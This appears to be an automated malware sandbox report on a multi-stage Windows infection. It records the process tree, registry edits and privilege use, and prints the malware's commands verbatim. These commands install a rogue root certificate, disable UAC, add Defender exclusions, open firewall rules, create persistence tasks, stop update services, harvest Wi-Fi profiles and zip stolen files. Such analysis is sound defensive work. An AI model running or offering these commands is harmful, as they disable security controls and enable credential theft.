Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	4767d2e713f2021e8fe856e3ea638b58.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

propro.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exechrosha.exerundll32.exepowershell.exeTraffic.exepropro.exeRegAsm.exeRegAsm.exejok.exepowershell.exe4767d2e713f2021e8fe856e3ea638b58.exeUni400uni.exepowershell.exeQg_Appv5.exeptInst.exeptInst.exepowershell.exeFirstZ.exepowershell.execmd.exe

pid	process
1468	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
1468	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
3364	chrosha.exe
3364	chrosha.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
2580	rundll32.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
3840	Traffic.exe
5048	propro.exe
4224	RegAsm.exe
4224	RegAsm.exe
2408	RegAsm.exe
2408	RegAsm.exe
1556	jok.exe
1556	jok.exe
1556	jok.exe
1556	jok.exe
1260	powershell.exe
1260	powershell.exe
1260	powershell.exe
1260	powershell.exe
2408	RegAsm.exe
2408	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4436	4767d2e713f2021e8fe856e3ea638b58.exe
4436	4767d2e713f2021e8fe856e3ea638b58.exe
2280	Uni400uni.exe
2280	Uni400uni.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
4880	Qg_Appv5.exe
4880	Qg_Appv5.exe
4880	Qg_Appv5.exe
4880	Qg_Appv5.exe
4880	Qg_Appv5.exe
5036	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
4844	FirstZ.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
236	cmd.exe
236	cmd.exe
236	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

ptInst.execmd.exe

pid process

1816 ptInst.exe
236 cmd.exe
236 cmd.exe

pid	process
1816	ptInst.exe
236	cmd.exe
236	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Traffic.exepowershell.exepropro.exejok.exepowershell.exeRegAsm.exeAddInProcess32.exe4767d2e713f2021e8fe856e3ea638b58.exeUni400uni.exeregsvcs.exepowershell.exepowershell.exepowershell.exeRegAsm.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	3840	Traffic.exe
Token: SeBackupPrivilege	3840	Traffic.exe
Token: SeSecurityPrivilege	3840	Traffic.exe
Token: SeSecurityPrivilege	3840	Traffic.exe
Token: SeSecurityPrivilege	3840	Traffic.exe
Token: SeSecurityPrivilege	3840	Traffic.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	5048	propro.exe
Token: SeDebugPrivilege	1556	jok.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	2408	RegAsm.exe
Token: SeDebugPrivilege	4456	AddInProcess32.exe
Token: SeDebugPrivilege	4436	4767d2e713f2021e8fe856e3ea638b58.exe
Token: SeImpersonatePrivilege	4436	4767d2e713f2021e8fe856e3ea638b58.exe
Token: SeDebugPrivilege	2280	Uni400uni.exe
Token: SeDebugPrivilege	2312	regsvcs.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeIncreaseQuotaPrivilege	4972	powershell.exe
Token: SeSecurityPrivilege	4972	powershell.exe
Token: SeTakeOwnershipPrivilege	4972	powershell.exe
Token: SeLoadDriverPrivilege	4972	powershell.exe
Token: SeSystemProfilePrivilege	4972	powershell.exe
Token: SeSystemtimePrivilege	4972	powershell.exe
Token: SeProfSingleProcessPrivilege	4972	powershell.exe
Token: SeIncBasePriorityPrivilege	4972	powershell.exe
Token: SeCreatePagefilePrivilege	4972	powershell.exe
Token: SeBackupPrivilege	4972	powershell.exe
Token: SeRestorePrivilege	4972	powershell.exe
Token: SeShutdownPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeSystemEnvironmentPrivilege	4972	powershell.exe
Token: SeRemoteShutdownPrivilege	4972	powershell.exe
Token: SeUndockPrivilege	4972	powershell.exe
Token: SeManageVolumePrivilege	4972	powershell.exe
Token: 33	4972	powershell.exe
Token: 34	4972	powershell.exe
Token: 35	4972	powershell.exe
Token: 36	4972	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeIncreaseQuotaPrivilege	2608	powershell.exe
Token: SeSecurityPrivilege	2608	powershell.exe
Token: SeTakeOwnershipPrivilege	2608	powershell.exe
Token: SeLoadDriverPrivilege	2608	powershell.exe
Token: SeSystemProfilePrivilege	2608	powershell.exe
Token: SeSystemtimePrivilege	2608	powershell.exe
Token: SeProfSingleProcessPrivilege	2608	powershell.exe
Token: SeIncBasePriorityPrivilege	2608	powershell.exe
Token: SeCreatePagefilePrivilege	2608	powershell.exe
Token: SeBackupPrivilege	2608	powershell.exe
Token: SeRestorePrivilege	2608	powershell.exe
Token: SeShutdownPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeSystemEnvironmentPrivilege	2608	powershell.exe
Token: SeRemoteShutdownPrivilege	2608	powershell.exe
Token: SeUndockPrivilege	2608	powershell.exe
Token: SeManageVolumePrivilege	2608	powershell.exe
Token: 33	2608	powershell.exe
Token: 34	2608	powershell.exe
Token: 35	2608	powershell.exe
Token: 36	2608	powershell.exe
Token: SeDebugPrivilege	312	RegAsm.exe
Token: SeShutdownPrivilege	2156	powercfg.exe
Token: SeCreatePagefilePrivilege	2156	powercfg.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

u38g.1.exe

pid process

4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
Suspicious use of SendNotifyMessage 7 IoCs

Processes:

u38g.1.exe

pid process

4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe
4824 u38g.1.exe

pid	process
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe

pid	process
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe
4824	u38g.1.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exerundll32.exerundll32.exegold.exe

description	pid	process	target process
PID 3364 wrote to memory of 4152	3364	chrosha.exe	swiiiii.exe
PID 3364 wrote to memory of 4152	3364	chrosha.exe	swiiiii.exe
PID 3364 wrote to memory of 4152	3364	chrosha.exe	swiiiii.exe
PID 4152 wrote to memory of 3672	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 3672	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 3672	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 4152 wrote to memory of 704	4152	swiiiii.exe	RegAsm.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	alexxxxxxxx.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	alexxxxxxxx.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	alexxxxxxxx.exe
PID 3800 wrote to memory of 3716	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 3716	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 3716	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 4400	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 4400	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 4400	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 wrote to memory of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 312 wrote to memory of 5048	312	RegAsm.exe	propro.exe
PID 312 wrote to memory of 5048	312	RegAsm.exe	propro.exe
PID 312 wrote to memory of 5048	312	RegAsm.exe	propro.exe
PID 312 wrote to memory of 3840	312	RegAsm.exe	Traffic.exe
PID 312 wrote to memory of 3840	312	RegAsm.exe	Traffic.exe
PID 3364 wrote to memory of 1972	3364	chrosha.exe	rundll32.exe
PID 3364 wrote to memory of 1972	3364	chrosha.exe	rundll32.exe
PID 3364 wrote to memory of 1972	3364	chrosha.exe	rundll32.exe
PID 1972 wrote to memory of 2580	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 2580	1972	rundll32.exe	rundll32.exe
PID 2580 wrote to memory of 4436	2580	rundll32.exe	netsh.exe
PID 2580 wrote to memory of 4436	2580	rundll32.exe	netsh.exe
PID 2580 wrote to memory of 3832	2580	rundll32.exe	powershell.exe
PID 2580 wrote to memory of 3832	2580	rundll32.exe	powershell.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	gold.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	gold.exe
PID 3364 wrote to memory of 3800	3364	chrosha.exe	gold.exe
PID 3800 wrote to memory of 2876	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2876	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2876	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 348	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 348	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 348	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 4224	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 4224	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 4224	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe
PID 3800 wrote to memory of 2408	3800	gold.exe	RegAsm.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

Uni400uni.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Uni400uni.exe
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Uni400uni.exe

C:\Users\Admin\AppData\Local\Temp\7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
"C:\Users\Admin\AppData\Local\Temp\7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:1468

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3364

C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4152

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3672

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4152 -s 812
3⤵
- Program crash
PID:1224

C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3716

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4400

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:312

C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
4⤵
PID:3412

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
5⤵
PID:3064

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\system32\netsh.exe
netsh wlan show profiles
4⤵
PID:4436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\735606991074_Desktop.zip' -CompressionLevel Optimal
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832

C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4224

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2408

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
2⤵
- Executes dropped EXE
PID:2276

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
3⤵
- Creates scheduled task(s)
PID:5060

C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe
"C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe"
3⤵
- Executes dropped EXE
PID:4192

C:\Users\Admin\AppData\Local\Temp\u38g.0.exe
"C:\Users\Admin\AppData\Local\Temp\u38g.0.exe"
4⤵
- Executes dropped EXE
PID:5012

C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
"C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4880

C:\Users\Admin\AppData\Local\Temp\Uninstallcheck_alpha\ptInst.exe
C:\Users\Admin\AppData\Local\Temp\Uninstallcheck_alpha\ptInst.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:5036

C:\Users\Admin\AppData\Roaming\Uninstallcheck_alpha\ptInst.exe
C:\Users\Admin\AppData\Roaming\Uninstallcheck_alpha\ptInst.exe
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1816

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:236

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
8⤵
PID:3976

C:\Users\Admin\AppData\Local\Temp\u38g.1.exe
"C:\Users\Admin\AppData\Local\Temp\u38g.1.exe"
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4824

C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:4556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4556 -s 500
4⤵
- Program crash
PID:2436

C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe
"C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe
"C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"
4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:4928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4592

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
PID:3304

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies Windows Firewall
PID:4492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:408

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:768

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:3276

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
PID:196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3572

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:3928

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
6⤵
PID:4112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4468

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2788

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
6⤵
- Executes dropped EXE
PID:668

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:2868

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
6⤵
- Executes dropped EXE
PID:2556

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
7⤵
PID:3596

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
8⤵
- Launches sc.exe
PID:4460

C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe"
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4844

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2608

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:408

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:4400

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
4⤵
- Launches sc.exe
PID:3944

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:512

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
4⤵
- Launches sc.exe
PID:1396

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
4⤵
- Launches sc.exe
PID:1072

C:\Windows\system32\sc.exe
